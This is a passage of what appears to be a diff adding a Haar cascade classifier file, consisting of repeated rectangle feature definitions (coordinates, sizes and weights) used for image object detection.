+ <_> + 13 1 7 4 -1. + + <_> + 13 3 7 2 2. + + + + <_> + + <_> + 13 6 4 4 -1. + + <_> + 13 6 2 2 2. + + <_> + 15 8 2 2 2. + + + + <_> + + <_> + 17 6 3 4 -1. + + <_> + 17 8 3 2 2. + + + + <_> + + <_> + 14 9 2 2 -1. + + <_> + 15 9 1 2 2. + + + + <_> + + <_> + 17 17 1 3 -1. + + <_> + 17 18 1 1 3. + + + + <_> + + <_> + 3 19 8 1 -1. + + <_> + 7 19 4 1 2. + + + + <_> + + <_> + 0 9 3 6 -1. + + <_> + 0 12 3 3 2. + + + + <_> + + <_> + 4 7 15 5 -1. + + <_> + 9 7 5 5 3. + + + + <_> + + <_> + 6 9 9 5 -1. + + <_> + 9 9 3 5 3. + + + + <_> + + <_> + 8 1 6 2 -1. + + <_> + 10 1 2 2 3. + + + + <_> + + <_> + 4 0 12 2 -1. + + <_> + 10 0 6 2 2. + + + + <_> + + <_> + 7 0 10 3 -1. + + <_> + 12 0 5 3 2. + + + + <_> + + <_> + 5 0 9 6 -1. + + <_> + 5 2 9 2 3. + + + + <_> + + <_> + 8 3 6 4 -1. + + <_> + 8 5 6 2 2. + + + + <_> + + <_> + 17 4 2 3 -1. + + <_> + 17 5 2 1 3. + + + + <_> + + <_> + 5 2 4 3 -1. + + <_> + 5 3 4 1 3. + + + + <_> + + <_> + 5 9 2 6 -1. + + <_> + 6 9 1 6 2. + + + + <_> + + <_> + 14 10 2 6 -1. + + <_> + 15 10 1 6 2. + + + + <_> + + <_> + 7 4 3 3 -1. + + <_> + 7 5 3 1 3. + + + + <_> + + <_> + 12 4 8 2 -1. + + <_> + 12 4 4 1 2. + + <_> + 16 5 4 1 2. + + + + <_> + + <_> + 15 8 1 6 -1. + + <_> + 15 10 1 2 3. + + + + <_> + + <_> + 4 17 11 3 -1. + + <_> + 4 18 11 1 3. + + + + <_> + + <_> + 3 0 16 20 -1. + + <_> + 3 10 16 10 2. + + + + <_> + + <_> + 12 4 4 6 -1. + + <_> + 12 6 4 2 3. + + + + <_> + + <_> + 11 0 6 6 -1. + + <_> + 13 0 2 6 3. + + + + <_> + + <_> + 13 1 6 4 -1. + + <_> + 13 1 3 2 2. + + <_> + 16 3 3 2 2. + + + + <_> + + <_> + 11 0 6 4 -1. + + <_> + 13 0 2 4 3. + + + + <_> + + <_> + 8 6 6 9 -1. + + <_> + 10 6 2 9 3. + + + + <_> + + <_> + 7 0 3 4 -1. + + <_> + 8 0 1 4 3. + + + + <_> + + <_> + 0 17 14 2 -1. + + <_> + 0 17 7 1 2. + + <_> + 7 18 7 1 2. + + + + <_> + + <_> + 6 18 2 2 -1. + + <_> + 6 18 1 1 2. + + <_> + 7 19 1 1 2. + + + + <_> + + <_> + 18 17 1 3 -1. + + <_> + 18 18 1 1 3. + + + + <_> + + <_> + 17 18 2 2 -1. + + <_> + 17 18 1 1 2. + + <_> + 18 19 1 1 2. + + + + <_> + + <_> + 5 7 1 9 -1. + + <_> + 5 10 1 3 3. + + + + <_> + + <_> + 5 3 6 4 -1. + + <_> + 7 3 2 4 3. + + + + <_> + + <_> + 1 9 6 2 -1. + + <_> + 1 9 3 1 2. + + <_> + 4 10 3 1 2. + + + + <_> + + <_> + 6 9 2 3 -1. + + <_> + 7 9 1 3 2. + + + + <_> + + <_> + 6 8 6 12 -1. + + <_> + 8 8 2 12 3. + + + + <_> + + <_> + 4 18 2 2 -1. + + <_> + 4 18 1 1 2. + + <_> + 5 19 1 1 2. + + + + <_> + + <_> + 9 1 6 6 -1. + + <_> + 9 3 6 2 3. + + + + <_> + + <_> + 6 17 6 2 -1. + + <_> + 6 18 6 1 2. + + + + <_> + + <_> + 3 18 16 2 -1. + + <_> + 3 19 16 1 2. + + + + <_> + + <_> + 3 0 3 11 -1. + + <_> + 4 0 1 11 3. + + + + <_> + + <_> + 13 18 3 1 -1. + + <_> + 14 18 1 1 3. + + + + <_> + + <_> + 6 0 9 6 -1. + + <_> + 6 2 9 2 3. + + + + <_> + + <_> + 1 2 12 4 -1. + + <_> + 1 2 6 2 2. + + <_> + 7 4 6 2 2. + + + + <_> + + <_> + 3 3 6 4 -1. + + <_> + 5 3 2 4 3. + + + + <_> + + <_> + 12 0 8 1 -1. + + <_> + 16 0 4 1 2. + + + + <_> + + <_> + 9 0 6 2 -1. + + <_> + 11 0 2 2 3. + + + + <_> + + <_> + 3 3 12 1 -1. + + <_> + 9 3 6 1 2. + + + + <_> + + <_> + 2 7 6 2 -1. + + <_> + 2 7 3 1 2. + + <_> + 5 8 3 1 2. + + + + <_> + + <_> + 0 8 4 6 -1. + + <_> + 0 10 4 2 3. + + + + <_> + + <_> + 9 6 3 7 -1. + + <_> + 10 6 1 7 3. + + + + <_> + + <_> + 9 6 6 13 -1. + + <_> + 11 6 2 13 3. + + + + <_> + + <_> + 11 12 6 1 -1. + + <_> + 13 12 2 1 3. + + + + <_> + + <_> + 18 9 2 6 -1. + + <_> + 18 12 2 3 2. + + + + <_> + + <_> + 17 2 3 9 -1. + + <_> + 18 2 1 9 3. + + + + <_> + + <_> + 13 8 4 6 -1. + + <_> + 13 8 2 3 2. + + <_> + 15 11 2 3 2. + + + + <_> + + <_> + 4 2 12 6 -1. + + <_> + 10 2 6 6 2. + + + + <_> + + <_> + 4 14 16 6 -1. + + <_> + 12 14 8 6 2. + + + + <_> + + <_> + 6 19 10 1 -1. + + <_> + 11 19 5 1 2. + + + + <_> + + <_> + 6 17 1 3 -1. + + <_> + 6 18 1 1 3. + + + + <_> + + <_> + 4 14 10 3 -1. + + <_> + 4 15 10 1 3. + + + + <_> + + <_> + 6 0 12 12 -1. + + <_> + 6 4 12 4 3. + + + + <_> + + <_> + 5 7 4 2 -1. + + <_> + 5 7 2 1 2. + + <_> + 7 8 2 1 2. + + + + <_> + + <_> + 17 5 3 2 -1. + + <_> + 18 5 1 2 3. + + + + <_> + + <_> + 8 13 6 3 -1. + + <_> + 8 14 6 1 3. + + + + <_> + + <_> + 8 13 5 3 -1. + + <_> + 8 14 5 1 3. + + + + <_> + + <_> + 13 2 1 18 -1. + + <_> + 13 11 1 9 2. + + + + <_> + + <_> + 6 10 9 2 -1. + + <_> + 9 10 3 2 3. + + + + <_> + + <_> + 11 0 7 4 -1. + + <_> + 11 2 7 2 2. + + + + <_> + + <_> + 1 0 6 8 -1. + + <_> + 3 0 2 8 3. + + + + <_> + + <_> + 9 15 3 3 -1. + + <_> + 9 16 3 1 3. + + + + <_> + + <_> + 9 17 9 3 -1. + + <_> + 9 18 9 1 3. + + + + <_> + + <_> + 12 12 3 3 -1. + + <_> + 12 13 3 1 3. + + + + <_> + + <_> + 4 1 3 5 -1. + + <_> + 5 1 1 5 3. + + + + <_> + + <_> + 10 14 2 3 -1. + + <_> + 10 15 2 1 3. + + + + <_> + + <_> + 18 17 2 2 -1. + + <_> + 18 17 1 1 2. + + <_> + 19 18 1 1 2. + + + + <_> + + <_> + 18 18 2 2 -1. + + <_> + 18 18 1 1 2. + + <_> + 19 19 1 1 2. + + + + <_> + + <_> + 18 18 2 2 -1. + + <_> + 18 18 1 1 2. + + <_> + 19 19 1 1 2. + + + + <_> + + <_> + 4 10 9 1 -1. + + <_> + 7 10 3 1 3. + + + + <_> + + <_> + 3 9 6 5 -1. + + <_> + 5 9 2 5 3. + + + + <_> + + <_> + 18 8 1 12 -1. + + <_> + 18 14 1 6 2. + + + + <_> + + <_> + 0 2 8 6 -1. + + <_> + 0 2 4 3 2. + + <_> + 4 5 4 3 2. + + + + <_> + + <_> + 9 4 3 3 -1. + + <_> + 9 5 3 1 3. + + + + <_> + + <_> + 3 18 2 2 -1. + + <_> + 3 18 1 1 2. + + <_> + 4 19 1 1 2. + + + + <_> + + <_> + 6 4 4 3 -1. + + <_> + 6 5 4 1 3. + + + + <_> + + <_> + 16 7 4 2 -1. + + <_> + 16 7 2 1 2. + + <_> + 18 8 2 1 2. + + + + <_> + + <_> + 5 17 1 3 -1. + + <_> + 5 18 1 1 3. + + + + <_> + + <_> + 2 0 15 20 -1. + + <_> + 2 10 15 10 2. + + + + <_> + + <_> + 8 11 6 4 -1. + + <_> + 8 11 3 2 2. + + <_> + 11 13 3 2 2. + + + + <_> + + <_> + 8 16 4 3 -1. + + <_> + 8 17 4 1 3. + + + + <_> + + <_> + 8 18 2 2 -1. + + <_> + 8 18 1 1 2. + + <_> + 9 19 1 1 2. + + + + <_> + + <_> + 2 16 13 3 -1. + + <_> + 2 17 13 1 3. + + + + <_> + + <_> + 16 16 2 2 -1. + + <_> + 16 16 1 1 2. + + <_> + 17 17 1 1 2. + + + + <_> + + <_> + 8 1 6 3 -1. + + <_> + 10 1 2 3 3. + + + + <_> + + <_> + 16 7 2 2 -1. + + <_> + 16 7 1 1 2. + + <_> + 17 8 1 1 2. + + + + <_> + + <_> + 14 7 4 2 -1. + + <_> + 14 7 2 1 2. + + <_> + 16 8 2 1 2. + + + + <_> + + <_> + 4 0 14 1 -1. + + <_> + 11 0 7 1 2. + + + + <_> + + <_> + 10 4 8 2 -1. + + <_> + 10 4 4 1 2. + + <_> + 14 5 4 1 2. + + + + <_> + + <_> + 8 2 3 2 -1. + + <_> + 9 2 1 2 3. + + + + <_> + + <_> + 12 11 6 3 -1. + + <_> + 12 12 6 1 3. + + + + <_> + + <_> + 1 5 1 4 -1. + + <_> + 1 7 1 2 2. + + + + <_> + + <_> + 1 1 1 18 -1. + + <_> + 1 7 1 6 3. + + + + <_> + + <_> + 11 13 3 2 -1. + + <_> + 11 14 3 1 2. + + + + <_> + + <_> + 0 1 12 2 -1. + + <_> + 0 1 6 1 2. + + <_> + 6 2 6 1 2. + + + + <_> + + <_> + 10 18 2 2 -1. + + <_> + 10 18 1 1 2. + + <_> + 11 19 1 1 2. + + + + <_> + + <_> + 4 5 4 4 -1. + + <_> + 4 5 2 2 2. + + <_> + 6 7 2 2 2. + + + + <_> + + <_> + 6 7 1 3 -1. + + <_> + 6 8 1 1 3. + + + + <_> + + <_> + 14 10 6 2 -1. + + <_> + 16 10 2 2 3. + + + + <_> + + <_> + 16 8 3 6 -1. + + <_> + 17 8 1 6 3. + + + + <_> + + <_> + 4 10 6 2 -1. + + <_> + 6 10 2 2 3. + + + + <_> + + <_> + 6 5 3 7 -1. + + <_> + 7 5 1 7 3. + + + + <_> + + <_> + 0 13 6 6 -1. + + <_> + 0 16 6 3 2. + + + + <_> + + <_> + 12 5 1 9 -1. + + <_> + 12 8 1 3 3. + + + + <_> + + <_> + 5 9 3 3 -1. + + <_> + 6 9 1 3 3. + + + + <_> + + <_> + 7 5 6 13 -1. + + <_> + 9 5 2 13 3. + + + + <_> + + <_> + 19 8 1 10 -1. + + <_> + 19 13 1 5 2. + + + + <_> + + <_> + 11 18 6 1 -1. + + <_> + 13 18 2 1 3. + + + + <_> + + <_> + 9 7 6 12 -1. + + <_> + 11 7 2 12 3. + + + + <_> + + <_> + 12 7 6 6 -1. + + <_> + 14 7 2 6 3. + + + + <_> + + <_> + 15 8 3 4 -1. + + <_> + 16 8 1 4 3. + + + + <_> + + <_> + 6 11 4 2 -1. + + <_> + 6 12 4 1 2. + + + + <_> + + <_> + 1 6 6 8 -1. + + <_> + 3 6 2 8 3. + + + + <_> + + <_> + 11 15 6 5 -1. + + <_> + 13 15 2 5 3. + + + + <_> + + <_> + 15 17 4 2 -1. + + <_> + 15 18 4 1 2. + + + + <_> + + <_> + 13 11 6 1 -1. + + <_> + 15 11 2 1 3. + + + + <_> + + <_> + 5 18 2 2 -1. + + <_> + 5 18 1 1 2. + + <_> + 6 19 1 1 2. + + + + <_> + + <_> + 4 8 4 4 -1. + + <_> + 4 8 2 2 2. + + <_> + 6 10 2 2 2. + + + + <_> + + <_> + 11 7 9 3 -1. + + <_> + 11 8 9 1 3. + + + + <_> + + <_> + 0 3 10 4 -1. + + <_> + 0 3 5 2 2. + + <_> + 5 5 5 2 2. + + + + <_> + + <_> + 7 18 6 1 -1. + + <_> + 9 18 2 1 3. + + + + <_> + + <_> + 0 8 3 3 -1. + + <_> + 0 9 3 1 3. + + + + <_> + + <_> + 0 0 6 8 -1. + + <_> + 0 0 3 4 2. + + <_> + 3 4 3 4 2. + + + + <_> + + <_> + 7 6 3 8 -1. + + <_> + 8 6 1 8 3. + + + + <_> + + <_> + 13 7 7 3 -1. + + <_> + 13 8 7 1 3. + + + + <_> + + <_> + 3 3 2 2 -1. + + <_> + 3 4 2 1 2. + + + + <_> + + <_> + 0 3 3 3 -1. + + <_> + 0 4 3 1 3. + + + + <_> + + <_> + 9 3 5 2 -1. + + <_> + 9 4 5 1 2. + + + + <_> + + <_> + 6 5 9 4 -1. + + <_> + 9 5 3 4 3. + + + + <_> + + <_> + 3 10 12 3 -1. + + <_> + 7 10 4 3 3. + + + + <_> + + <_> + 8 7 3 6 -1. + + <_> + 9 7 1 6 3. + + + + <_> + + <_> + 5 5 6 5 -1. + + <_> + 8 5 3 5 2. + + + + <_> + + <_> + 0 5 2 3 -1. + + <_> + 0 6 2 1 3. + + + + <_> + + <_> + 9 7 3 4 -1. + + <_> + 10 7 1 4 3. + + + + <_> + + <_> + 1 0 6 15 -1. + + <_> + 3 0 2 15 3. + + + + <_> + + <_> + 15 1 3 5 -1. + + <_> + 16 1 1 5 3. + + + + <_> + + <_> + 9 2 3 10 -1. + + <_> + 10 2 1 10 3. + + + + <_> + + <_> + 8 8 6 12 -1. + + <_> + 10 8 2 12 3. + + + + <_> + + <_> + 16 4 3 4 -1. + + <_> + 16 6 3 2 2. + + + + <_> + + <_> + 16 7 2 2 -1. + + <_> + 16 7 1 1 2. + + <_> + 17 8 1 1 2. + + + + <_> + + <_> + 13 0 6 9 -1. + + <_> + 13 3 6 3 3. + + + + <_> + + <_> + 7 17 1 3 -1. + + <_> + 7 18 1 1 3. + + + + <_> + + <_> + 12 1 4 2 -1. + + <_> + 12 2 4 1 2. + + + + <_> + + <_> + 17 3 1 3 -1. + + <_> + 17 4 1 1 3. + + + + <_> + + <_> + 0 16 9 3 -1. + + <_> + 0 17 9 1 3. + + + + <_> + + <_> + 3 6 2 4 -1. + + <_> + 3 6 1 2 2. + + <_> + 4 8 1 2 2. + + + + <_> + + <_> + 13 18 3 1 -1. + + <_> + 14 18 1 1 3. + + + + <_> + + <_> + 0 18 4 2 -1. + + <_> + 2 18 2 2 2. + + + + <_> + + <_> + 1 19 2 1 -1. + + <_> + 2 19 1 1 2. + + + + <_> + + <_> + 0 18 4 2 -1. + + <_> + 0 19 4 1 2. + + + + <_> + + <_> + 2 17 1 3 -1. + + <_> + 2 18 1 1 3. + + + + <_> + + <_> + 4 8 3 5 -1. + + <_> + 5 8 1 5 3. + + + + <_> + + <_> + 2 1 6 7 -1. + + <_> + 4 1 2 7 3. + + + + <_> + + <_> + 3 6 2 8 -1. + + <_> + 3 6 1 4 2. + + <_> + 4 10 1 4 2. + + + + <_> + + <_> + 4 5 11 10 -1. + + <_> + 4 10 11 5 2. + + + + <_> + + <_> + 0 13 20 2 -1. + + <_> + 10 13 10 2 2. + + + + <_> + + <_> + 1 13 16 3 -1. + + <_> + 9 13 8 3 2. + + + + <_> + + <_> + 16 4 4 4 -1. + + <_> + 16 4 2 2 2. + + <_> + 18 6 2 2 2. + + + + <_> + + <_> + 16 0 4 12 -1. + + <_> + 16 0 2 6 2. + + <_> + 18 6 2 6 2. + + + + <_> + + <_> + 14 15 3 1 -1. + + <_> + 15 15 1 1 3. + + + + <_> + + <_> + 3 4 12 10 -1. + + <_> + 3 9 12 5 2. + + + + <_> + + <_> + 9 18 2 2 -1. + + <_> + 9 18 1 1 2. + + <_> + 10 19 1 1 2. + + + + <_> + + <_> + 9 18 2 2 -1. + + <_> + 9 18 1 1 2. + + <_> + 10 19 1 1 2. + + + + <_> + + <_> + 13 4 2 14 -1. + + <_> + 13 4 1 7 2. + + <_> + 14 11 1 7 2. + + + + <_> + + <_> + 4 2 6 4 -1. + + <_> + 7 2 3 4 2. + + + + <_> + + <_> + 0 0 18 20 -1. + + <_> + 0 0 9 10 2. + + <_> + 9 10 9 10 2. + + + + <_> + + <_> + 15 11 1 2 -1. + + <_> + 15 12 1 1 2. + + + + <_> + + <_> + 16 10 2 4 -1. + + <_> + 16 10 1 2 2. + + <_> + 17 12 1 2 2. + + + + <_> + + <_> + 18 17 2 2 -1. + + <_> + 18 17 1 1 2. + + <_> + 19 18 1 1 2. + + + + <_> + + <_> + 9 17 1 2 -1. + + <_> + 9 18 1 1 2. + + + + <_> + + <_> + 8 4 9 6 -1. + + <_> + 11 4 3 6 3. + + + + <_> + + <_> + 6 9 9 10 -1. + + <_> + 9 9 3 10 3. + + + + <_> + + <_> + 5 0 5 4 -1. + + <_> + 5 2 5 2 2. + + + + <_> + + <_> + 5 7 11 4 -1. + + <_> + 5 9 11 2 2. + + + + <_> + + <_> + 2 4 2 14 -1. + + <_> + 3 4 1 14 2. + + + + <_> + + <_> + 8 6 3 5 -1. + + <_> + 9 6 1 5 3. + + + + <_> + + <_> + 8 4 3 9 -1. + + <_> + 9 4 1 9 3. + + + + <_> + + <_> + 0 8 20 6 -1. + + <_> + 0 10 20 2 3. + + + + <_> + + <_> + 14 16 6 1 -1. + + <_> + 17 16 3 1 2. + + + + <_> + + <_> + 17 18 2 2 -1. + + <_> + 17 19 2 1 2. + + + + <_> + + <_> + 8 17 6 3 -1. + + <_> + 10 17 2 3 3. + + + + <_> + + <_> + 4 1 9 15 -1. + + <_> + 7 1 3 15 3. + + + + <_> + + <_> + 11 5 3 12 -1. + + <_> + 12 5 1 12 3. + + + + <_> + + <_> + 0 15 4 3 -1. + + <_> + 0 16 4 1 3. + + + + <_> + + <_> + 0 0 15 1 -1. + + <_> + 5 0 5 1 3. + + + + <_> + + <_> + 6 0 6 4 -1. + + <_> + 8 0 2 4 3. + + + + <_> + + <_> + 2 0 9 3 -1. + + <_> + 5 0 3 3 3. + + + + <_> + + <_> + 13 6 3 7 -1. + + <_> + 14 6 1 7 3. + + + + <_> + + <_> + 7 6 4 2 -1. + + <_> + 7 7 4 1 2. + + + + <_> + + <_> + 6 18 6 1 -1. + + <_> + 8 18 2 1 3. + + + + <_> + + <_> + 18 6 2 2 -1. + + <_> + 18 7 2 1 2. + + + + <_> + + <_> + 6 4 7 3 -1. + + <_> + 6 5 7 1 3. + + + + <_> + + <_> + 12 7 3 1 -1. + + <_> + 13 7 1 1 3. + + + + <_> + + <_> + 15 1 2 10 -1. + + <_> + 15 1 1 5 2. + + <_> + 16 6 1 5 2. + + + + <_> + + <_> + 0 18 2 2 -1. + + <_> + 0 19 2 1 2. + + + + <_> + + <_> + 19 4 1 8 -1. + + <_> + 19 8 1 4 2. + + + + <_> + + <_> + 1 17 1 3 -1. + + <_> + 1 18 1 1 3. + + + + <_> + + <_> + 0 15 6 4 -1. + + <_> + 0 15 3 2 2. + + <_> + 3 17 3 2 2. + + + + <_> + + <_> + 19 0 1 18 -1. + + <_> + 19 6 1 6 3. + + + + <_> + + <_> + 10 2 6 2 -1. + + <_> + 12 2 2 2 3. + + + + <_> + + <_> + 2 8 12 2 -1. + + <_> + 6 8 4 2 3. + + + + <_> + + <_> + 16 0 4 1 -1. + + <_> + 18 0 2 1 2. + + + + <_> + + <_> + 8 4 2 6 -1. + + <_> + 8 7 2 3 2. + + + + <_> + + <_> + 14 5 2 10 -1. + + <_> + 15 5 1 10 2. + + + + <_> + + <_> + 13 4 2 2 -1. + + <_> + 13 5 2 1 2. + + + + <_> + + <_> + 11 1 3 6 -1. + + <_> + 11 3 3 2 3. + + + + <_> + + <_> + 6 9 12 2 -1. + + <_> + 10 9 4 2 3. + + + + <_> + + <_> + 9 16 4 2 -1. + + <_> + 9 17 4 1 2. + + + + <_> + + <_> + 5 14 15 4 -1. + + <_> + 5 16 15 2 2. + + + + <_> + + <_> + 18 16 2 2 -1. + + <_> + 18 17 2 1 2. + + + + <_> + + <_> + 16 18 2 2 -1. + + <_> + 16 18 1 1 2. + + <_> + 17 19 1 1 2. + + + + <_> + + <_> + 6 4 3 8 -1. + + <_> + 7 4 1 8 3. + + + + <_> + + <_> + 5 9 3 1 -1. + + <_> + 6 9 1 1 3. + + + + <_> + + <_> + 0 8 1 6 -1. + + <_> + 0 10 1 2 3. + + + + <_> + + <_> + 11 2 9 6 -1. + + <_> + 14 2 3 6 3. + + + + <_> + + <_> + 12 2 6 4 -1. + + <_> + 14 2 2 4 3. + + + + <_> + + <_> + 1 7 2 4 -1. + + <_> + 1 9 2 2 2. + + + + <_> + + <_> + 13 1 6 4 -1. + + <_> + 13 3 6 2 2. + + + + <_> + + <_> + 4 10 2 10 -1. + + <_> + 4 10 1 5 2. + + <_> + 5 15 1 5 2. + + + + <_> + + <_> + 2 16 9 3 -1. + + <_> + 5 16 3 3 3. + + + + <_> + + <_> + 1 2 3 9 -1. + + <_> + 2 2 1 9 3. + + + + <_> + + <_> + 19 7 1 4 -1. + + <_> + 19 9 1 2 2. + + + + <_> + + <_> + 14 11 6 8 -1. + + <_> + 14 11 3 4 2. + + <_> + 17 15 3 4 2. + + + + <_> + + <_> + 15 12 4 6 -1. + + <_> + 15 12 2 3 2. + + <_> + 17 15 2 3 2. + + + + <_> + + <_> + 16 15 2 2 -1. + + <_> + 16 15 1 1 2. + + <_> + 17 16 1 1 2. + + + + <_> + + <_> + 17 16 2 2 -1. + + <_> + 17 16 1 1 2. + + <_> + 18 17 1 1 2. + + + + <_> + + <_> + 17 16 2 2 -1. + + <_> + 17 16 1 1 2. + + <_> + 18 17 1 1 2. + + + + <_> + + <_> + 2 3 2 2 -1. + + <_> + 2 3 1 1 2. + + <_> + 3 4 1 1 2. + + + + <_> + + <_> + 10 10 3 3 -1. + + <_> + 11 10 1 3 3. + + + + <_> + + <_> + 5 9 7 8 -1. + + <_> + 5 13 7 4 2. + + + + <_> + + <_> + 7 16 2 2 -1. + + <_> + 7 16 1 1 2. + + <_> + 8 17 1 1 2. + + + + <_> + + <_> + 7 16 2 2 -1. + + <_> + 7 16 1 1 2. + + <_> + 8 17 1 1 2. + + + + <_> + + <_> + 9 8 10 3 -1. + + <_> + 14 8 5 3 2. + + + + <_> + + <_> + 6 7 4 8 -1. + + <_> + 6 7 2 4 2. + + <_> + 8 11 2 4 2. + + + + <_> + + <_> + 1 6 4 3 -1. + + <_> + 1 7 4 1 3. + + + + <_> + + <_> + 6 10 6 10 -1. + + <_> + 8 10 2 10 3. + + + + <_> + + <_> + 4 6 3 6 -1. + + <_> + 5 6 1 6 3. + + + + <_> + + <_> + 3 10 4 4 -1. + + <_> + 3 10 2 2 2. + + <_> + 5 12 2 2 2. + + + + <_> + + <_> + 3 10 4 4 -1. + + <_> + 3 10 2 2 2. + + <_> + 5 12 2 2 2. + + + + <_> + + <_> + 3 10 4 4 -1. + + <_> + 3 10 2 2 2. + + <_> + 5 12 2 2 2. + + + + <_> + + <_> + 14 8 2 6 -1. + + <_> + 15 8 1 6 2. + + + + <_> + + <_> + 3 10 4 4 -1. + + <_> + 3 10 2 2 2. + + <_> + 5 12 2 2 2. + + + + <_> + + <_> + 3 10 4 4 -1. + + <_> + 3 10 2 2 2. + + <_> + 5 12 2 2 2. + + + + <_> + + <_> + 12 4 3 9 -1. + + <_> + 13 4 1 9 3. + + + + <_> + + <_> + 12 3 1 12 -1. + + <_> + 12 7 1 4 3. + + + + <_> + + <_> + 2 0 18 1 -1. + + <_> + 8 0 6 1 3. + + + + <_> + + <_> + 10 0 10 6 -1. + + <_> + 10 0 5 3 2. + + <_> + 15 3 5 3 2. + + + + <_> + + <_> + 18 16 2 2 -1. + + <_> + 18 17 2 1 2. + + + + <_> + + <_> + 3 5 4 2 -1. + + <_> + 3 5 2 1 2. + + <_> + 5 6 2 1 2. + + + + <_> + + <_> + 11 8 3 3 -1. + + <_> + 12 8 1 3 3. + + + + <_> + + <_> + 11 7 3 5 -1. + + <_> + 12 7 1 5 3. + + + + <_> + + <_> + 3 19 15 1 -1. + + <_> + 8 19 5 1 3. + + + + <_> + + <_> + 8 13 3 2 -1. + + <_> + 8 14 3 1 2. + + + + <_> + + <_> + 2 12 8 4 -1. + + <_> + 2 12 4 2 2. + + <_> + 6 14 4 2 2. + + + + <_> + + <_> + 16 16 2 2 -1. + + <_> + 16 16 1 1 2. + + <_> + 17 17 1 1 2. + + + + <_> + + <_> + 7 0 3 2 -1. + + <_> + 8 0 1 2 3. + + + + <_> + + <_> + 6 7 2 5 -1. + + <_> + 7 7 1 5 2. + + + + <_> + + <_> + 18 0 2 17 -1. + + <_> + 19 0 1 17 2. + + + + <_> + + <_> + 16 16 1 3 -1. + + <_> + 16 17 1 1 3. + + + + <_> + + <_> + 14 8 3 7 -1. + + <_> + 15 8 1 7 3. + + + + <_> + + <_> + 10 17 2 2 -1. + + <_> + 10 17 1 1 2. + + <_> + 11 18 1 1 2. + + + + <_> + + <_> + 4 9 1 3 -1. + + <_> + 4 10 1 1 3. + + + + <_> + + <_> + 18 10 2 3 -1. + + <_> + 18 11 2 1 3. + + + + <_> + + <_> + 12 1 3 10 -1. + + <_> + 13 1 1 10 3. + + + + <_> + + <_> + 8 12 9 1 -1. + + <_> + 11 12 3 1 3. + + + + <_> + + <_> + 5 18 2 2 -1. + + <_> + 5 18 1 1 2. + + <_> + 6 19 1 1 2. + + + + <_> + + <_> + 19 6 1 9 -1. + + <_> + 19 9 1 3 3. + + + + <_> + + <_> + 4 7 2 4 -1. + + <_> + 4 7 1 2 2. + + <_> + 5 9 1 2 2. + + + + <_> + + <_> + 1 4 6 14 -1. + + <_> + 3 4 2 14 3. + + + + <_> + + <_> + 10 5 9 3 -1. + + <_> + 13 5 3 3 3. + + + + <_> + + <_> + 18 7 2 6 -1. + + <_> + 18 9 2 2 3. + + + + <_> + + <_> + 5 6 2 7 -1. + + <_> + 6 6 1 7 2. + + + + <_> + + <_> + 10 4 6 8 -1. + + <_> + 13 4 3 8 2. + + + + <_> + + <_> + 0 8 2 9 -1. + + <_> + 0 11 2 3 3. + + + + <_> + + <_> + 0 7 5 3 -1. + + <_> + 0 8 5 1 3. + + + + <_> + + <_> + 8 1 7 2 -1. + + <_> + 8 2 7 1 2. + + + + <_> + + <_> + 7 5 3 5 -1. + + <_> + 8 5 1 5 3. + + + + <_> + + <_> + 19 2 1 2 -1. + + <_> + 19 3 1 1 2. + + + + <_> + + <_> + 6 7 10 11 -1. + + <_> + 11 7 5 11 2. + + + + <_> + + <_> + 9 19 6 1 -1. + + <_> + 11 19 2 1 3. + + + + <_> + + <_> + 3 0 12 1 -1. + + <_> + 7 0 4 1 3. + + + + <_> + + <_> + 4 1 6 5 -1. + + <_> + 6 1 2 5 3. + + + + <_> + + <_> + 6 12 12 6 -1. + + <_> + 10 12 4 6 3. + + + + <_> + + <_> + 16 13 2 3 -1. + + <_> + 16 14 2 1 3. + + + + <_> + + <_> + 7 14 4 2 -1. + + <_> + 7 15 4 1 2. + + + + <_> + + <_> + 7 14 2 2 -1. + + <_> + 7 15 2 1 2. + + + + <_> + + <_> + 3 10 2 4 -1. + + <_> + 3 10 1 2 2. + + <_> + 4 12 1 2 2. + + + + <_> + + <_> + 0 3 2 6 -1. + + <_> + 0 5 2 2 3. + + + + <_> + + <_> + 1 10 2 2 -1. + + <_> + 1 10 1 1 2. + + <_> + 2 11 1 1 2. + + + + <_> + + <_> + 16 4 4 3 -1. + + <_> + 16 5 4 1 3. + + + + <_> + + <_> + 5 10 2 4 -1. + + <_> + 5 10 1 2 2. + + <_> + 6 12 1 2 2. + + + + <_> + + <_> + 5 11 13 2 -1. + + <_> + 5 12 13 1 2. + + + + <_> + + <_> + 10 2 3 11 -1. + + <_> + 11 2 1 11 3. + + + + <_> + + <_> + 10 2 4 4 -1. + + <_> + 10 4 4 2 2. + + + + <_> + + <_> + 8 8 6 2 -1. + + <_> + 10 8 2 2 3. + + + + <_> + + <_> + 11 2 3 3 -1. + + <_> + 12 2 1 3 3. + + + + <_> + + <_> + 6 18 14 2 -1. + + <_> + 6 18 7 1 2. + + <_> + 13 19 7 1 2. + + + + <_> + + <_> + 17 7 1 12 -1. + + <_> + 17 11 1 4 3. + + + + <_> + + <_> + 10 5 10 3 -1. + + <_> + 10 6 10 1 3. + + + + <_> + + <_> + 6 1 3 3 -1. + + <_> + 7 1 1 3 3. + + + + <_> + + <_> + 13 8 3 1 -1. + + <_> + 14 8 1 1 3. + + + + <_> + + <_> + 10 14 2 6 -1. + + <_> + 10 16 2 2 3. + + + + <_> + + <_> + 4 1 12 14 -1. + + <_> + 8 1 4 14 3. + + + + <_> + + <_> + 14 1 6 14 -1. + + <_> + 16 1 2 14 3. + + + + <_> + + <_> + 3 16 2 2 -1. + + <_> + 3 16 1 1 2. + + <_> + 4 17 1 1 2. + + + + <_> + + <_> + 0 16 2 2 -1. + + <_> + 0 17 2 1 2. + + + + <_> + + <_> + 15 6 4 6 -1. + + <_> + 15 6 2 3 2. + + <_> + 17 9 2 3 2. + + + + <_> + + <_> + 12 5 2 2 -1. + + <_> + 12 6 2 1 2. + + + + <_> + + <_> + 7 6 6 13 -1. + + <_> + 9 6 2 13 3. + + + + <_> + + <_> + 1 9 6 5 -1. + + <_> + 3 9 2 5 3. + + + + <_> + + <_> + 0 5 3 4 -1. + + <_> + 0 7 3 2 2. + + + + <_> + + <_> + 4 1 16 2 -1. + + <_> + 4 1 8 1 2. + + <_> + 12 2 8 1 2. + + + + <_> + + <_> + 1 18 4 2 -1. + + <_> + 1 18 2 1 2. + + <_> + 3 19 2 1 2. + + + + <_> + + <_> + 7 7 3 4 -1. + + <_> + 8 7 1 4 3. + + + + <_> + + <_> + 3 4 9 3 -1. + + <_> + 6 4 3 3 3. + + + + <_> + + <_> + 4 6 6 10 -1. + + <_> + 6 6 2 10 